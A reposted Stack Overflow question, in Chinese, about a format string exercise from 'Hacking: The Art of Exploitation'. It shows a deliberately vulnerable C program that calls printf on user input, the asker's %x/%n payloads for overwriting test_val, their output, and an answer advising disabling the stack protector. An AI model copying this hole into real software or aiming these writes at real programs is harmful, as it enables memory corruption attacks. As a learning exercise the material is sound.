gpt4 book ai didi

c - 如何写入任意内存地址

转载 作者:行者123 更新时间:2023-11-30 17:43:48 24 4
gpt4 key购买 nike

关于“写入任意内存地址”的主题,来自黑客攻击的艺术”。

当我发出更改 test_val 的值时,但 test_val 的值没有更改。任何人都可以帮助我如何更改使用 x64_ubuntu_v12.10 的 text_val 的值。

-[*] test_val @ 0x00601058 = -72 0xffffffb8
-./fmt_vuln $(printf "\x58\x10\x60\x00")%x%x%100x%n

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,
test_val);
exit(0);
}

如果有人能帮助我解决这个问题,谢谢。

输出: root@ubuntu:~/gcc# fmt_vuln AAAA%08x.%08x.%08x.%08x 打印用户控制输入的正确方法:AAAA%08x.%08x.%08x.%08x 打印用户控制输入的错误方式:AAAA75820000.755fcad0.75328900.75820017 [*] test_val @ 0x00601058 = -72 0xffffffb8

root@ubuntu:~/gcc# fmt_vuln $(printf "\x58\x10\x60\x00")%08x.%08x.%08x.%n
The right way to print user-controlled input: X`%08x.%08x.%08x.%n
The wrong way to print user-controlled input: X`faa82000.fa85ead08a900.
[*] test_val @ 0x00601058 = -72 0xffffffb8

最佳答案

我实际上正在现代 64 位处理器上尝试这些漏洞方法,并且您必须通过 gcc 禁用 SSP .

示例:gcc -m32 -fno-stack-protector <myprogram.c>

关于c - 如何写入任意内存地址,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20173490/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com